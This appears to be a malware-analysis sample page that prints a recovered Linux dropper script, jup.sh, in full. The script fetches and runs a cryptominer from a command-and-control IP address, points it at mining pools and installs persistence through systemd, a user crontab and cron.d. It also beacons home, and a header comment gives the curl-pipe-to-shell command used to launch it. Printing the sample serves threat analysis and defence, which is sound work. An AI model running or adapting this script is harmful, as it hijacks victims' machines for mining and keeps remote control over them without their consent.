Hostile 99% linux Download

jup.sh

Cron pipeline persists recurring armed payloadxvd stage server with miner artifacts
SHA-256dde07b8a090e3ce54af0adb8fe8ef8b8dab728852e34e0a9fc6435f33333c942

Evidence

xvd cron and file-check beacon lines 1–42
1#!/bin/sh
2# Recovered stage-two payload: served as http://157.20.241.16:8080/jup.sh
3# Invoked as: curl -fsSL http://157.20.241.16:8080/jup.sh | sh -s nc_<target-ip>
4RIG="${1:-nc_unknown}"
5POOL1="139.99.69.109:10128"
6POOL2="79.76.51.56:39100"
7C2="http://157.20.241.16:8080"
8
9mount -o remount,exec /tmp 2>/dev/null
10WORKDIR=/tmp/.xvd
11[ -w /tmp ] || WORKDIR=/var/tmp/.xvd
12mkdir -p "$WORKDIR" && cd "$WORKDIR" || exit 1
13
14CORES=$(nproc 2>/dev/null || echo 2)
15THREADS=$((CORES / 2))
16[ "$THREADS" -gt 8 ] && THREADS=8
17
18curl -fsSL "$C2/xvgz" -o xvgz || curl -fsSL "$C2/xmrig.tgz" -o xmrig.tgz
19curl -fsSL "$C2/keep.sh" -o keep.sh
20chmod +x xvgz xmrig.tgz keep.sh 2>/dev/null
21
22nohup ./xvgz -o "$POOL1" -o "$POOL2" -u 4EVERWALLET \
23 --rig-id "$RIG" --donate-level 1 --cpu-max-threads-hint 50 \
24 --randomx-mode=auto -B >xm.log 2>&1 &
25
26# persistence: watchdog service, user crontab tag, and root cron.d drop
27cat <<UNIT > /etc/systemd/system/xvd.service
28[Unit]
29Description=xvd
30[Service]
31ExecStart=$WORKDIR/keep.sh $RIG
32Restart=always
33[Install]
34WantedBy=multi-user.target
35UNIT
36systemctl daemon-reload 2>/dev/null
37systemctl enable --now xvd.service 2>/dev/null
38
39(crontab -l 2>/dev/null; echo "*/10 * * * * $WORKDIR/keep.sh $RIG # xvkeep") | crontab -
40echo "*/10 * * * * root $WORKDIR/keep.sh $RIG" > /etc/cron.d/xvd
41
42curl -s "$C2/ob/fcheck?rig=$RIG" >/dev/null 2>&1

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.